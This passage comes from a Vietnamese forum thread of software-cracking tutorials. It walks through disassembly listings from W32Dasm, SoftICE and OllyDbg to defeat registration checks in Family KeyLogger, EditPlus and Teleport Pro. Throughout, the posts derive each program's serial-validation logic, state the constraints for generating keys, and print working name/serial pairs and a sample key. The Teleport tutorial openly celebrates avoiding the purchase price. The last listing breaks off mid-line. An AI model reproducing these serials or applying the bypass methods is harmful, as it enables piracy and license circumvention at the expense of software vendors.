là your entered, còn cái kia là correct).&lt;br /&gt;Xong! Vậy bạn chỉ việc chạy lại  chương trình và nhập lại đúng thôi.&lt;br /&gt;&lt;br /&gt;*********************************************************&lt;br /&gt;Name:  Zombie&lt;br /&gt;Serials: B4E6FEEF3C44F074782E8C5E36FEC2E9&lt;br /&gt;Name: Zombie DeathMan&lt;br /&gt;Serials: 07E7EF148B80CA07ADB21D7AC9FE94E1&lt;br /&gt;**********************************************************&lt;br /&gt;&lt;br /&gt;PS: Trong  quá trình trace code bạn sẽ thấy một chuỗi string..ke..ke..Lưu ý nó nha..Khá  quan trong cho việc code keygen đó…&lt;br /&gt;Name/Code sau khi Oki sẽ được lưu trong  Reg ở HKEY_LOCAL_MACHINE\SOFTWARE\Paul Gerhart Software\IPsearch\User&lt;br /&gt;Hic..Zombie tìm ra được thuật code keygen của nó (dựa trên language ASM)  nhưng code ngược lại bằng Visual Basic .NET không được..Tức cành hông ..!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[/B]&lt;br /&gt;&lt;br /&gt;--------------------&lt;br /&gt;Welcome to THE H-E-L-L&lt;br /&gt;A  world no sense of mercy !!!&lt;br /&gt;&lt;br /&gt;*********************************************&lt;br /&gt;&lt;br /&gt;Buồn...Thương  người đơn phương ...!&lt;br /&gt;Chỉ mong rollback thời gian...&lt;br /&gt;Chỉ mong có được  người ấy như xưa...&lt;br /&gt;Chỉ mong....&lt;br /&gt;*********************************************&lt;br /&gt;Tìm real key hả cho tui  tham gia với:&lt;br /&gt;&lt;br /&gt;[Marquee]CRACK FAMALY KEYLOGGER v2.53[/Marquee]&lt;br /&gt;&lt;br /&gt;Download at: www.SpyArsenal.com&lt;br /&gt;&lt;br /&gt;Cracker : deux&lt;br /&gt;&lt;br /&gt;Tool:  softice for win, w32dasm&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Đây là một soft kiểm tra key không phức tạp  nhưng lại rất dài dòng vậy nên nếu không tìm ra chô cần carck thì rất dễ nản ,  bây giờ hãy bắt đầu.&lt;br /&gt;&lt;br /&gt;Mở W32Dasm disasembler nó ra tìm cái nag invalid  key trong Refs&gt;String Data.&lt;br /&gt;&lt;br /&gt;Dbclick vào nó sẽ đưa bạn đến chỗ cái nag&lt;br /&gt;&lt;br /&gt;* Referenced by a (U)nconditional or ©onditional Jump at Address:&lt;br /&gt;&lt;br /&gt;|:004034D6©&lt;br /&gt;&lt;br /&gt;|&lt;br /&gt;&lt;br /&gt;:004034FF 6A00 push 00000000&lt;br /&gt;&lt;br /&gt;*  Possible StringData Ref from Data Obj -&gt;"FamilyKeyLogger"&lt;br /&gt;&lt;br /&gt;|&lt;br /&gt;&lt;br /&gt;:00403501 8B0D08514000 mov ecx, dword ptr [00405108]&lt;br /&gt;&lt;br /&gt;:00403507  51 push ecx&lt;br /&gt;&lt;br /&gt;chú ý tại 004034D6© nó cho biết có một lệnh nhảy có điều  kiện đến cái nag, nhấn shift+F12 điền vào địa chỉ này OK bạn sẻ đến đây:&lt;br /&gt;&lt;br /&gt;:004034C9 FF1578104000 Call dword ptr [00401078]&lt;br /&gt;&lt;br /&gt;:004034CF  E895E8FFFF call 00401D69&lt;br /&gt;&lt;br /&gt;:004034D4 85C0 test eax, eax&lt;br /&gt;&lt;br /&gt;:004034D6  7427 je 004034FF nhảy đến nag nếu =0&lt;br /&gt;&lt;br /&gt;:004034D8 6A00 push 00000000&lt;br /&gt;&lt;br /&gt;* Possible StringData Ref from Data Obj -&gt;"FamilyKeyLogger"&lt;br /&gt;&lt;br /&gt;|&lt;br /&gt;&lt;br /&gt;:004034DA A108514000 mov eax, dword ptr [00405108]&lt;br /&gt;&lt;br /&gt;:004034DF 50  push eax&lt;br /&gt;&lt;br /&gt;* Possible StringData Ref from Data Obj -&gt;"Thank you for  registration!"&lt;br /&gt;&lt;br /&gt;|&lt;br /&gt;&lt;br /&gt;:004034E0 8B0D4C514000 mov ecx, dword ptr  [0040514C]&lt;br /&gt;&lt;br /&gt;như vậy đều cần thiết là cái lệnh nhảy đó phải đứng im, tuy  nhiên điều cần làm là tìm key chớ không phải patch, và nếu bạn patch thì cho dù  co lên cái câu "Thank you for registration" bạn cũng vẫn bị đòi đăng ký ở lần  sau, các soft bây giờ nó đểu lắm, patch nag là xưa rồi,Okie bạn hãy nhìn lên  trước cái lệnh nhảy sẽ có lệnh call 00401D69, chính lệnh call này sẽ gọi một hàm  , và hàm này quyết định xem số key của bạn đúng hay sai. Vậy hãy di chuyển đến  đó và click vào nút Call , bạn sẽ đến một nơi nào đó trong chương trình , hãy  kéo xuống một đoạn nữa đến chỗ sau:&lt;br /&gt;&lt;br /&gt;:00401E4B 8D95F8FDFFFF lea edx,  dword ptr [ebp+FFFFFDF8] chuyển key bạn nhập vào edx&lt;br /&gt;&lt;br /&gt;:00401E51 52 push  edx&lt;br /&gt;&lt;br /&gt;* Reference To: KERNEL32.lstrlenA, Ord:0308h hàm này cho chiều dài  của chuỗi ban nhập&lt;br /&gt;&lt;br /&gt;|&lt;br /&gt;&lt;br /&gt;:00401E52 FF159C104000 Call dword ptr  [0040109C]&lt;br /&gt;&lt;br /&gt;:00401E58 83F81D cmp eax, 0000001D so sánh số ký tự với  1D(hex)=29(Dec)&lt;br /&gt;&lt;br /&gt;:00401E5B 7407 je 00401E64 nhảy nếu bằng&lt;br /&gt;&lt;br /&gt;:00401E5D 33C0 xor eax, eax set cho eax=0 ( nguyên nhân dẫn đến cái nag)&lt;br /&gt;&lt;br /&gt;:00401E5F E942040000 jmp 004022A6&lt;br /&gt;&lt;br /&gt;như vậy số ký tự bạn nhập vào  phải bằng 29, tất nhiên nếu nhìn vào W32dasm thì không thể thấy chính xác các  phép toán thực hiện như thế nào vì nó không thể hiện được giá trị của register  hay address tại thời điểm chạy đến đoan mã này, nhưng bạn cần suy đoán để tìm ra  thôi, ví dụ như tại sao nhìn vào lea edx, dword ptr [ebp+FFFFFDF8] lại biết là  nó chuyển reg của mình nhập vào edx, cái này thì không ai có thể bày cho bạn  được mà bạn phải crack nhiều , chịu khó quan sát và kinh nghiệm sẽ cho bạn biết  chỗ cần tìm. Đối với người mới bắt đầu có thể xài soft-ice để kiểm chứng lại cái  đoạn tôi nói ở trên,&lt;br /&gt;&lt;br /&gt;do crack này hơi dài tôi chỉ nói sơ trong SI như  sau:&lt;br /&gt;&lt;br /&gt;set BP trong SI là getdlgitemtextA xong press F5 trở về lại màn  hình đăng ký, nhấn OK bạn sẽ trở lại màn hình của SI, nhấn F12 để trở về vị trí  vừa gọi hàm Getdlgitemtexta, trace down bằng F10 , thêm một luu ý nữa nếu gặp  các hàm API thì cứ việc nhấn F10, bạn có thể biết nó là hàm API khi trước đó có  phần Kernell32.dll.. hay User32., bởi vì bạn không cần biết nội dung của hàm đó,  nếu muốn biết thì tốtnhất là tìm các tut về hàm API, còn nếu gặp các lệnh call  đến các địa chỉ như&lt;br /&gt;&lt;br /&gt;Call 004xxxxxx thì các bạn làm ơn trace bằng F8 để  vào xem cái hàm đó nó làm gì nếu không sẽ trace qua cái đoạn code cần tìm. Bạn  trce bằng F10 đến khi gặp hàm [Kernel32!sleep], ngay bên dưới nó sẽ có một lệnh  Call, trace bằng F8 vào lệnh call này bạn sẽ đến đoạn mã cần tìm tương ứng bên  W32dasm.&lt;br /&gt;&lt;br /&gt;lưu ý đối với những người mới cài và sử dụng SI:để set  breakpoint cho các hàm API trong Kernek32.dll và User32.dll cần phải mở  Winice.dat bằng Notepad và bỏ dấu ";" trước các lệnh sau&lt;br /&gt;&lt;br /&gt;EXP=c:\windows\system\kernel32.dll&lt;br /&gt;&lt;br /&gt;EXP=c:\windows\system\user32.dll&lt;br /&gt;&lt;br /&gt;Rồi khởi động lại.&lt;br /&gt;&lt;br /&gt;Trở  lại với W32Dasm, nói chung nhiệm vụ của bạn là phải làm sao cho nó đừng nhảy tới  chỗ&lt;br /&gt;&lt;br /&gt;xor eax,eax mà lèo lái sao cho nó đến chỗ mov eax,00000001 thì soft  sẽ đăng ký thành công, tất nhiên bạn có thể patch nhưng như vậy thì cũng phải sử  cả chục cái lệnh nhảy chớ không ít đâu,bây giờ giả sử bạn đã nhập đủ 29 ký tự  thì sẽ đến vị trí sau:&lt;br /&gt;&lt;br /&gt;:00401E64 0FBE85FCFDFFFF movsx eax, byte ptr  [ebp+FFFFFDFC]&lt;br /&gt;&lt;br /&gt;:00401E6B 83C00A add eax, 0000000A cộng kt thứ 5 với A&lt;br /&gt;&lt;br /&gt;:00401E6E 83F837 cmp eax, 00000037 so sánh với 37&lt;br /&gt;&lt;br /&gt;:00401E71 7E07  jle 00401E7A nhảy nếu nhỏ hơn&lt;br /&gt;&lt;br /&gt;:00401E73 33C0 xor eax, eax&lt;br /&gt;&lt;br /&gt;:00401E75 E92C040000 jmp 004022A6&lt;br /&gt;&lt;br /&gt;Bạn hãy nhớ byte  ptr[ebp+FFFFFDF8] là ký tự đầu tiên, nên byte ptr [ebp+FFFFFDFC] là ký tự thứ 5&lt;br /&gt;&lt;br /&gt;Bạn thấy đó dưới cái jle nó lăm lăm cái xor eax,eax chui vào đó là tiêu  luôn, vạy nên ký tự của bạn có mã ASCII hệ 16 sau khi cộng với 5 phải &lt;= 37,  (kí tự thứ 5&lt;=2D)  Bạn hãy dò đến các phần tiếp theo nó sẽ kiểm tra  các ký tự thứ 10([ebp+FFFFFE01], ký tự thứ 15([ebp+FFFFFE06]) ký tự thứ 20...  tất cả nó đều có điểm chung là phải nhỏ hơn hoặc bằng 2D hãy tìm đến vị trí tiếp  theo:  :00401ED2 0FBE95FCFDFFFF movsx edx, byte ptr [ebp+FFFFFDFC] ký tụ  thứ 5 vào edx  :00401ED9 0FBE8501FEFFFF movsx eax, byte ptr  [ebp+FFFFFE01] ký tự thứ 10 vào eax  :00401EE0 3BD0 cmp edx, eax ktthứ 5  phải bằng kt thứ 10  :00401EE2 7572 jne 00401F56  :00401EE4  0FBE8DFCFDFFFF movsx ecx, byte ptr [ebp+FFFFFDFC] ký tự thứ 5 vào ecx   :00401EEB 0FBE9506FEFFFF movsx edx, byte ptr [ebp+FFFFFE06] ký tự thứ 20  edx  :00401EF2 3BCA cmp ecx, edx KTthứ 5 phải = KTthứ 20   :00401EF4 7560 jne 00401F56  :00401EF6 0FBE85FCFDFFFF movsx eax,  byte ptr [ebp+FFFFFDFC] ký tự thứ 5  :00401EFD 0FBE8D10FEFFFF movsx ecx,  byte ptr [ebp+FFFFFE10] ký tự thứ 25  :00401F04 3BC1 cmp eax, ecx   :00401F06 754E jne 00401F56  :00401F08 0FBE95FCFDFFFF movsx edx,  byte ptr [ebp+FFFFFDFC]  :00401F0F 83FA2D cmp edx, 0000002D ký tự thứ 5  phải bằng 2D  :00401F12 7442 je 00401F56  như vậy bạn có thể hình  dung sơ là số đăng ký sẽ như sau:XXXX-XXXX-XXXX-XXXX-XXXX  tiếp theo hãy  tìm hiểu chỗ này:  :00401F56 0FBE85F8FDFFFF movsx eax, byte ptr  [ebp+FFFFFDF8] ký tự thứ 1  :00401F5D 83F846 cmp eax, 00000046 so sánh  với 46  :00401F60 7566 jne 00401FC8  :00401F62 0FBE8DF9FDFFFF  movsx ecx, byte ptr [ebp+FFFFFDF9]  :00401F69 83F945 cmp ecx, 00000045   :00401F6C 755A jne 00401FC8  :00401F6E 0FBE95FAFDFFFF movsx edx,  byte ptr [ebp+FFFFFDFA]  :00401F75 83FA46 cmp edx, 00000046   :00401F78 754E jne 00401FC8  :00401F7A 0FBE85FBFDFFFF movsx eax,  byte ptr [ebp+FFFFFDFB]  :00401F81 83F845 cmp eax, 00000045   :00401F84 7542 jne 00401FC8  cái thằng soft này quả là lắm chuyện  tôi chỉ có thể nói vắn tắt thế này các ký tự từ 1 đến 4 , kt 1 phải khác 46 hoặc  kt2 phải khác 45 hặc kt3 khác 46.. Có nghĩa là phải làm cho 1 trong bốn lệnh  nhảy trên nhảy nếu không sẽ đến cái chỗ xor eax,eax.  Tiếp theo sau khi  nhảy sẽ đến đây:  :00401FC8 0FBE8DF8FDFFFF movsx ecx, byte ptr  [ebp+FFFFFDF8]  :00401FCF 0FBE95FAFDFFFF movsx edx, byte ptr  [ebp+FFFFFDFA]  :00401FD6 3BCA cmp ecx, edx  :00401FD8  0F858A000000 jne 00402068  :00401FDE 0FBE85F9FDFFFF movsx eax, byte ptr  [ebp+FFFFFDF9]  :00401FE5 0FBE8DFBFDFFFF movsx ecx, byte ptr  [ebp+FFFFFDFB]  :00401FEC 3BC1 cmp eax, ecx  :00401FEE 7578 jne  00402068  :00401FF0 0FBE9511FEFFFF movsx edx, byte ptr [ebp+FFFFFE11]   :00401FF7 0FBE8513FEFFFF movsx eax, byte ptr [ebp+FFFFFE13]   :00401FFE 3BD0 cmp edx, eax  :00402000 7566 jne 00402068   :00402002 0FBE8D12FEFFFF movsx ecx, byte ptr [ebp+FFFFFE12]   :00402009 0FBE9514FEFFFF movsx edx, byte ptr [ebp+FFFFFE14]   :00402010 3BCA cmp ecx, edx  :00402012 7554 jne 00402068   :00402014 0FBE85FEFDFFFF movsx eax, byte ptr [ebp+FFFFFDFE]   :0040201B 0FBE8DFFFDFFFF movsx ecx, byte ptr [ebp+FFFFFDFF]   :00402022 3BC1 cmp eax, ecx  :00402024 7542 jne 00402068   cũng như trên bạn phải làm cho nó nhảy một trong các lệnh nhảy này,  không là ra cái nag, còn mấy cái kt trên là ký tự thứ mấy thì chắc là bạn cũng  nắm được cách tính rồi phải không?  Đơn giản tôi lấy cái đầu tiên nó  chuyển kt thứ nhất vào ecx và kt thứ 3 vào edx, và nó so edx với ecx vậy nếubạn  muốn nó nhảy thì ký tự thứ nhất phải khác ký tự thứ 3.  Bây giờ đến chô  tiếp  :00402068 0FBE9502FEFFFF movsx edx, byte ptr [ebp+FFFFFE02]   :0040206F 83FA74 cmp edx, 00000074  :00402072 755A jne 004020CE   :00402074 0FBE8503FEFFFF movsx eax, byte ptr [ebp+FFFFFE03]   :0040207B 83F853 cmp eax, 00000053  :0040207E 754E jne 004020CE   :00402080 0FBE8D04FEFFFF movsx ecx, byte ptr [ebp+FFFFFE04] kt thứ 12   :00402087 83F952 cmp ecx, 00000052  Đây nữa:  :00402126  0FBE85FDFDFFFF movsx eax, byte ptr [ebp+FFFFFDFD] kt thứ 5  :0040212D  83F854 cmp eax, 00000054  :00402130 7424 je 00402156  :00402132  0FBE8D02FEFFFF movsx ecx, byte ptr [ebp+FFFFFE02] kt thứ 10  :00402139  83F954 cmp ecx, 00000054  :0040213C 7418 je 00402156  :0040213E  0FBE9507FEFFFF movsx edx, byte ptr [ebp+FFFFFE07] kt thứ 15  :00402145  83FA54 cmp edx, 00000054  :00402148 740C je 00402156  :0040214A  0FBE850CFEFFFF movsx eax, byte ptr [ebp+FFFFFE0C]  :00402151 83F854 cmp  eax, 00000054  :00402154 7542 jne 00402198  tuy nhiên chỗ này thì  khác , mấy cái je mà nhảy là đến xor eax, eax vậy nên các ký tự phải thỏa điều  kiện để không bằng cho đến chỗ jne 00402198  Hy vọng là bạn đã hiểu được  cách thức , hãy làm sao cho nó nhảy qua chô xor eax,eax đến được chỗ này là bạn  thành công:  :00402299 3BD0 cmp edx, eax  :0040229B EB04 jmp  004022A1  :0040229D 33C0 xor eax, eax  :0040229F EB05 jmp 004022A6   * Referenced by a (U)nconditional or ©onditional Jump at Address:   |:0040229B(U)  |  :004022A1 B801000000 mov eax, 00000001   để dễ cho các bạn tính toán tôi cho saün bảng như sau:  byte ptr  [ebp+FFFFFDF8] kt thứ 1  byte ptr [ebp+FFFFFDF9] 2  byte ptr  [ebp+FFFFFDFA] 3  byte ptr [ebp+FFFFFDFB] 4  byte ptr  [ebp+FFFFFDFC] 5  byte ptr [ebp+FFFFFDFD] 6  byte ptr  [ebp+FFFFFDFE] 7  byte ptr [ebp+FFFFFDFF] 8  byte ptr  [ebp+FFFFFE00] 9  byte ptr [ebp+FFFFFE01] 10  byte ptr  [ebp+FFFFFE02] 11  byte ptr [ebp+FFFFFE03] 12  byte ptr  [ebp+FFFFFE04] 13  byte ptr [ebp+FFFFFE05] 14  byte ptr  [ebp+FFFFFE06] 15  byte ptr [ebp+FFFFFE07] 16  byte ptr  [ebp+FFFFFE08] 17  byte ptr [ebp+FFFFFE09] 18  byte ptr  [ebp+FFFFFE0A] 19  byte ptr [ebp+FFFFFE0B] 20  byte ptr  [ebp+FFFFFE0C] 21  byte ptr [ebp+FFFFFE0D] 22  byte ptr  [ebp+FFFFFE0E] 23  byte ptr [ebp+FFFFFE0F] 24  byte ptr  [ebp+FFFFFE10] 25  byte ptr [ebp+FFFFFE11] 26  byte ptr  [ebp+FFFFFE12] 27  byte ptr [ebp+FFFFFE13] 28  byte ptr  [ebp+FFFFFE14] 29  Ý tưởng của thuật toán này như sau:   kt1+kt2=kt3+kt4 và kt1!=kt3 ví dụ như: EFFE, FEEF, 2112..vv   Kt5=kt10=kt15=kt20=kt25="-"(2D hex) hay &lt;=2D khi kt5!=kt20.   Kt6, kt7 có mã ASCII&gt;=7&lt;br /&gt;&lt;br /&gt;Kt7&gt;=kt8&lt;br /&gt;&lt;br /&gt;Kt16=kt18!=kt17&lt;br /&gt;&lt;br /&gt;Mã ascii (Kt23)!=mã ascii (kt24)+1&lt;br /&gt;&lt;br /&gt;Kt26+kt29=kt27+kt28.&lt;br /&gt;&lt;br /&gt;Tôi cho bạn 1 key làm ví dụ: @||@-deUx-LOVE-EYES-MINH-@!@!&lt;br /&gt;&lt;br /&gt;Copyright © 10-27-2003 by Deux.&lt;br /&gt;&lt;br /&gt;Đem sao chép nhớ đê lại bản  quyền.&lt;br /&gt;&lt;br /&gt;--------------------&lt;br /&gt;Production: EditPlus 2.11 service  release 2&lt;br /&gt;Copyright by: ES-Computing&lt;br /&gt;Homepage: &lt;a href="http://www.editplus.com/" target="_blank"&gt;&lt;span class="link"&gt;http://www.editplus.com/&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;Download: &lt;a href="http://download.com.com/redir?pid=10226517...2-10226517.html" target="_blank"&gt;&lt;span class="link"&gt;http://download.com.com/redir?pid=10226517...2-10226517.html&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;Protector: Name/Serials&lt;br /&gt;Packed: None&lt;br /&gt;Tools: OllyDbg 1.09d + Notepad  (to write your serials )&lt;br /&gt;Done: Get correct serials&lt;br /&gt;Cracked by: Zombie  DeathMan&lt;br /&gt;Comment: EditPlus is an Internet-ready 32-bit Text editor, HTML  editor, and Programmer's editor for Windows. While it can serve as a good  replacement for Notepad, it also offers many powerful features for Web page  authors and programmers. Syntax highlighting for HTML, CSS, PHP, ASP, Perl,  C/C++, Java, JavaScript, and VBScript. Seamless Web browser for previewing HTML  pages, and FTP commands for uploading local files to FTP server.&lt;br /&gt;&lt;br /&gt;Zombie's notes..: Chương trình này khá hay đó...Mạnh hơn Notepad của Win  nhiều mà cũng gọn nhẹ nữa..&lt;br /&gt;&lt;br /&gt;Sử dụng OllyDbg để load lên. Hãy khoang set  bp gì cả, chạy chương trước đã (vì hàm cần set bp có tới 6 cái, bạn sẽ không thể  biết được cái nào là cần set).&lt;br /&gt;Sau đó gõ Name/Serials (Zombie-12345).  Rùi..Bây giờ thì set bpx GetWindowTextA. Sẽ có 6 hàm được set. Và hàm được dùng  cho việc lấy entered Name/Serials ở Addr: 4BCBC6.&lt;br /&gt;&lt;br /&gt;Tiếp tục trace code  đến Addr: 00479E7D..Tại đây sẽ gọi hàm xử lý serials. Sau đó hàm này sẽ trả về  EAX &lt;&gt; 0 nếu Oki else = 0 (nhớ điều này na)&lt;br /&gt;&lt;br /&gt;Oki..Vào trong hàm xem  thế nào.&lt;br /&gt;Nhấn F8 một chút để đến 00479FEA..&lt;br /&gt;&lt;br /&gt;00479FEA |. 8A4424 18  MOV AL,BYTE PTR SS:[ESP+18]&lt;br /&gt;00479FEE |. 83C4 0C ADD ESP,0C&lt;br /&gt;00479FF1 |.  8A4E 02 MOV CL,BYTE PTR DS:[ESI+2]&lt;br /&gt;00479FF4 |. 8D7E 02 LEA EDI,DWORD PTR  DS:[ESI+2]&lt;br /&gt;00479FF7 |. 3AC8 CMP CL,AL&lt;br /&gt;00479FF9 74 09 JE SHORT  editplus.0047A004&lt;br /&gt;00479FFB |. |5F POP EDI&lt;br /&gt;00479FFC |. |5E POP ESI&lt;br /&gt;00479FFD |. |33C0 XOR EAX,EAX&lt;br /&gt;00479FFF |. |5B POP EBX&lt;br /&gt;0047A000 |.  |83C4 0C ADD ESP,0C&lt;br /&gt;0047A003 |. |C3 RETN&lt;br /&gt;&lt;br /&gt;Lưu ý ở 00479FEA . Ở đây  bạn hãy tìm ngược đến Addr: ESP+18 sẽ thấy 4 chars (Zombie nhận được là: FA8B).  Và MOV vào AL kí tự thứ 1 của Chars này (kí tự F)&lt;br /&gt;Tiếp tục ở 00479FF1 là MOV  vào CL kí tự thứ 2 của entered serials (lưu ý. Zombie tính kí tự đầu tiên ngoài  cùng bên trái là kí tự thứ 0) --&gt; Ở đây CL = “3”&lt;br /&gt;&lt;br /&gt;Sau đó so sánh 2  Char này. If equal thì jump tiếp đến các lệnh sau RETN. Ngược lại sẽ tiếp tục  dòng lệnh..Các dòng lệnh tiếp theo có lệnh XOR EAX,EAX --&gt; EAX = 0 .  hahah…Như thế nghĩa là hàm trả về là Serials nhập vào sai…Vậy ta chạy lại và  nhập lại như sau:&lt;br /&gt;Name: Zombie&lt;br /&gt;Serials: 12F45&lt;br /&gt;&lt;br /&gt;Tiếp tục đến Addr  0047A004 là các lệnh tương tự. AL = Char “A” trong MagicString trên, còn D= Char  thứ 3 trong entered Serials. --&gt; Lại phải nhập lại lần nữa với Serials là:  12FA5….Phù..Còn một lần nữa cơ…&lt;br /&gt;Addr: 0047A03F là CL = Char thứ 0 trong  entered serials, tiếp theo là AL = Char thứ 0 trong MagicString thứ 2 (tương tự  dò đến địa chỉ ESP+18 sẽ được “9211”).&lt;br /&gt;Rùi..Enter Serials lại lần nữa:&lt;br /&gt;92FA5…&lt;br /&gt;Rùi…Vậy là vượt qua các cửa ải rùi…Các dòng lệnh sẽ được chạy đến&lt;br /&gt;0047A062 |. 0F94C0 SETE AL&lt;br /&gt;--&gt; Trả về EAX = 1 --&gt; Oki..&lt;br /&gt;Vậy  lần này bạn có được thông số reg như sau&lt;br /&gt;Name: Zombie&lt;br /&gt;Serials: 92FA5&lt;br /&gt;&lt;br /&gt;--------------------&lt;br /&gt;Welcome to THE H-E-L-L&lt;br /&gt;A world no sense of  mercy !!!&lt;br /&gt;&lt;br /&gt;*********************************************&lt;br /&gt;híc híc, các  cậu lẹ quá, hacnho theo hổng kịp. good good!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="postbody"&gt;How to crack Teleport Pro V1.29.1990&lt;br /&gt;&lt;br /&gt;Phần mềm:  Teleport Pro V1.29.1990&lt;br /&gt;Bảo vệ: Unregistered Version/ Name Serial.&lt;br /&gt;Công  cụ : -W32DASM ver 893&lt;br /&gt;-OllyDBG 1.09b, Win Calculator&lt;br /&gt;Phương pháp crack:  Find real serial&lt;br /&gt;Mức độ ()Dễ (x)Vừa ()Hơi khó ()Rất khó&lt;br /&gt;File cần crack  pro.exe&lt;br /&gt;Cracker: hacnho (hacnho@hopthu.com)&lt;br /&gt;Website: &lt;a href="http://kickme.to/VCT" target="_blank"&gt;&lt;span class="link"&gt;http://kickme.to/VCT&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I. Giới thiệu&lt;br /&gt;&lt;br /&gt;Chào  các bạn, Teleport Pro V1.29.1990 là một phần mềm download nguyên website với  tốc độ download mạnh khủng khiếp. Nhưng phiên bản trial (dùng thử) chỉ cho sử  dụng có 40 lần và chỉ download mỗi lần có 500 files. Hic hic, hacnho đang định  download cái site Echip về nhà cho thằng em chơi mà Teleport Pro V1.29.1590 bắt  chẹt quá đáng. Ta đành phải đành ngậm ngùi crack nó thôi. Cách crack này hơi  khác với mọi cách thường dùng để crack là sẽ thấy số sê ri liền.&lt;br /&gt;&lt;br /&gt;II. Bắt  tay vào crack Teleport Pro V1.29.1990&lt;br /&gt;&lt;br /&gt;Đầu tiên, sau khi cài đặt xong,  ta chạy Teleport Pro V1.29.1590 thì một nag hiện lên, đại loại bắt chúng ta  đăng ký. Okie, bây giờ chúng ta vào menu help---&gt;Register để đăng ký. Ở đây  hacnho nhập vào Text box Your Name là: hacnho và Your Unlock Code là: 15101983.  Waa, một nag văng ra " We're sorry! The registration number you entered appears  to...". Chắc đọc tới đây các bạn nghĩ là tìm dòng string này để bắt đầu crack  phải không. He he, ban đầu hacnho cũng nghĩ vậy và set breakpoint Getwindowtexta  trong SI lẫn Olly đều dẫn hacnho đến Maroc không hà. do đó ở phần mềm Teleport  này nếu dùng SI ta phải set breakpoint hmemcpy. Mà hacnho đang xài XP vói SI  4.2.7 sao mà set được, do đó chúng ta cần cầu cứu đến hai anh chàng WinDASM và  OllyDBG. Đầu tiên ta xét đến các dòng string của Teleport. hacnho tìm ra một  dòng string rất lạ "This program has been altered possibly by a virus program  execution will stop now." Hổng phải cái string này bình thường đâu, đó chính là  dòng nag bắn ra khi bạn cố tình patch chương trình. Hic hic. SI hổng được, Patch  hổng xong luôn. Để có trong mớ bòng bong string của Windasm khi disasm teleport  có gì đáng giá hông ;&lt;img src="http://www.blogger.com/hvaonline/images/smilies/068ae40523a24c9ef54edefd375e542d.gif" border="0" /&gt;.  Oh, hacnho tìm được một string hơi thú vị : "Thank you! Your copy of Teleport  Pro is now registered. Al...". Double click vào nó để ra main của Wdasm, chúng  ta thấy một đoạn string đáng giá ngàn vàng he he.&lt;br /&gt;&lt;br /&gt;-----&lt;br /&gt;:0042D325  8975E4 mov dword ptr [ebp-1C], esi&lt;br /&gt;:0042D328 E802D30100 call 0044A62F&lt;br /&gt;:0042D32D 8B86D9000000 mov eax, dword ptr [esi+000000D9]&lt;br /&gt;:0042D333 33DB  xor ebx, ebx&lt;br /&gt;:0042D335 6A0A push 0000000A&lt;br /&gt;:0042D337 53 push ebx&lt;br /&gt;:0042D338 50 push eax&lt;br /&gt;:0042D339 E8F76C0000 call 00434035 &lt;--- Đặt  breakPoint tại đây :0042D33E 8B0D54EF4800 mov ecx, dword ptr [0048EF54]  :0042D344 83C40C add esp, 0000000C :0042D347 8945E8 mov dword ptr  [ebp-18], eax :0042D34A 3899CD040000 cmp byte ptr [ecx+000004CD], bl  :0042D350 0F840E020000 je 0042D564 :0042D356 3BC3 cmp eax, ebx &lt;---  So sánh EBX với Số serial nhập vào... :0042D358 0F8402010000 je 0042D460  :0042D35E FFB6D5000000 push dword ptr [esi+000000D5] &lt;-- Đưa vào địa chỉ  Name nhập vào :0042D364 E8700A0000 call 0042DDD9 &lt;--- Gọi hàm kiểm tra (  trace into nếu muốn làm keygen). :0042D369 3945E8 cmp dword ptr [ebp-18],  eax &lt;-- So sánh số serial nhập vào với số do chương trình tạo ra  :0042D36C 59 pop ecx :0042D36D 7536 jne 0042D3A5 &lt;-- Đập vô mặt bạn  cái nag "We're sorry..." :0042D36F A170AE4800 mov eax, dword ptr [0048AE70]  :0042D374 8945F0 mov dword ptr [ebp-10], eax  * Possible Reference to  String Resource ID=07001: "Thank you! Your copy of Teleport Pro is now  registered. Al"    He he, analyze tới đây là đủ để crack rồi, còn  muốn code keygen thì đọc phần sau. Okie, now dùng Olly để load thằng Teleport  lên. Nhấn Ctrl+G, nhập vào 0042D339, nhấn F2 để đặt breakpoint tại đây. Nhấn F9  để chạy chương trình. Vào menu help---&gt;Register để đăng ký. Ở đây hacnho nhập  vào Text box Your Name là: hacnho và Your Unlock Code là: 15101983. Olly Ice tại  đây. Nhấn F8 trace downward tới địa chỉ 0042D369. Bạn nhận thấy rằng trên , menu  Register (FPU) phía bên phải của Main Olly có những dòng&lt;br /&gt;&lt;br /&gt;EAX 5BF3E6AD&lt;br /&gt;&lt;br /&gt;ECX 009849D8 (hacnho)&lt;br /&gt;Wow, 5BF3E6AD chính là số serial của bạn đã  được mã hoá sang hệ hex. Bây giờ dùng Calculator của Window để đỗi 5BF3E6AD sang  hệ decimal. Vào hào quang sáng lạng các bạn ạ, số serial là 1542710957.&lt;br /&gt;&lt;br /&gt;Thế là Teleport Pro V1.29.1990 đã bị crack rồi đó các bạn ạ. Và chúng ta  sẽ có bản Teleport Pro V1.29.1990 để xài mãi mãi mà khỏi tốn gần 40$ .&lt;br /&gt;&lt;br /&gt;-------&lt;br /&gt;&lt;br /&gt;III. Kết luận&lt;br /&gt;&lt;br /&gt;Nếu muốn code keygen bạn hãy  trace into vào hàm call 0042DDD9 để tìm hiểu cơ chế code keygen. Tôi chỉ đưa  đoạn mã làm serial cho các bạn tham khảo thôi.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;0042DDD9 /$ 57 PUSH EDI&lt;br /&gt;0042DDDA |. 8B7C24 08 MOV EDI,DWORD PTR  SS:[ESP+8]&lt;br /&gt;0042DDDE |. 85FF TEST EDI,EDI&lt;br /&gt;0042DDE0 |. 74 09 JE SHORT  pro.0042DDEB&lt;br /&gt;0042DDE2 |. 57 PUSH EDI&lt;br /&gt;0042DDE3 |. E8 A85E0000 CALL  pro.00433C90&lt;br /&gt;0042DDE8 |. 59 POP ECX&lt;br /&gt;0042DDE9 |. EB 02 JMP SHORT  pro.0042DDED&lt;br /&gt;0042DDEB |&gt; 33C0 XOR EAX,EAX&lt;br /&gt;0042DDED |&gt; 83F8 05 CMP  EAX,5&lt;br /&gt;0042DDF0 |. 73 04 JNB SHORT pro.0042DDF6&lt;br /&gt;0042DDF2 |. 